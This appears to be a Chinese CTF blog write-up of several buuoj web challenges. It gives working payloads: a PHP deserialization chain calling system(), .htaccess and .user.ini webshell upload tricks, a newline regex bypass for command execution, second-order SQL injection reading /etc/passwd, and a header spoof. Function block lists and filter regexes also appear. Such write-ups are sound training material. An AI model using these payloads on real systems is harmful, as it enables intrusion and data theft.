buuoj 刷题记录(一)

[TOC]

[网鼎杯 2020 朱雀组]phpweb

抓包

date是一个函数,后面的p应该是它的参数,猜测使用了call_user_func(函数名,参数)函数
使用 func=readfile&p=index.php 读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
$disable_fun = array("exec","shell_exec","system","passthru",
"proc_open","show_source","phpinfo","popen","dl","eval",
"proc_terminate","touch","escapeshellcmd","escapeshellarg",
"assert","substr_replace","call_user_func_array","call_user_func",
"array_filter", "array_walk", "array_map",
"registregister_shutdown_function","register_tick_function",
"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite",
"file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
}
else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
/*
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}

禁用了很多函数,看到有 __destruct() 函数,尝试构造反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
//$a->p = 'find / -name flag*';
$a->p = 'cat /tmp/flagoefiu4r93';

$a->func = 'system';
print_r(urlencode(serialize($a)));

寻找flag文件

读取flag

[MRCTF2020]你传你ma呢

利用BurpSuite修改MIME欺骗后端文件类型 修改 Content-Type: image/png 然后就可以传任意文件后缀 利用.htaccess来制作图片马

增加使用php解析的文件后缀(.jpg)

1
AddType application/x-httpd-php .jpg

然后再写个一句话,连上蚁剑即可

[极客大挑战 2019]Upload

绕过后缀名检验:php、php3、php5、php7、pht、phtml
文件头加入 GIF89a
修改 Content-Type: image/jpeg
可解析为php的标签

1
2
3
4
5
<?php phpinfo(); ?>
<?= phpinfo(); ?>
<script language=php>phpinfo();</script> //php7移除
<? phpinfo(); ?> //需要php.ini中short_open_tag=On
<% phpinfo(); %> //需要php.ini中asp_tags = On php7移除

php版本是5.5.9,用第三个
上传之后连接蚁剑即可

[FBCTF2019]RCEService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>

正则表达式修饰符s匹配多行,这里直接用%0A换行符绕过正则payload:

1
{%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

[SUCTF 2019]CheckIn

考点:文件上传

利用.user.ini构造php后门,.user.ini的使用前提是目录中必须有至少一个php文件,.user.ini有两个配置参数:auto_prepend_fileauto_append_file
auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=01.gif

01.gif是要包含的文件。
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

参考链接
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

[GXYCTF2019]BabyUpload

没什么好说的,apache服务器上传.htaccess文件

[BJDCTF 2nd]Schrödinger

毫无意义的一道题,浪费了十几分钟的时间。

[MRCTF2020]PYWebsite

查看源码有flag.php,访问然后修改X-Forwarded-For: 127.0.0.1可得flag

[网鼎杯 2018]Comment

二次注入,git泄露

爆破得到账号密码,登陆
然后是git泄露,先下载源码然后修复,得到如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

do=write的时候对传入的数据进行转移,但是之后数据库会自动清除反斜杠,然后do=commit的时候对取出的category没有进行处理就插入,导致了二次注入,所以前面那个addslashes根本起不到防护的作用
第一次输入category和第二次输入content可以拼接,如下

1
2
3
4
insert into comment
set category = '',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";

然后再放两个payload,读取flag:

1
2
',content=(select load_file('/etc/passwd')),/*
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

elementmaster

这个没什么好说的,直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import requests as req
elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
for symbol in elements:
link = "http://bb55496d-1807-46ab-96ae-138ad4583386.node3.buuoj.cn/" + symbol + ".php"
response = req.get(link)
if response.status_code == 200:
print(response.text, end='')
else:
continue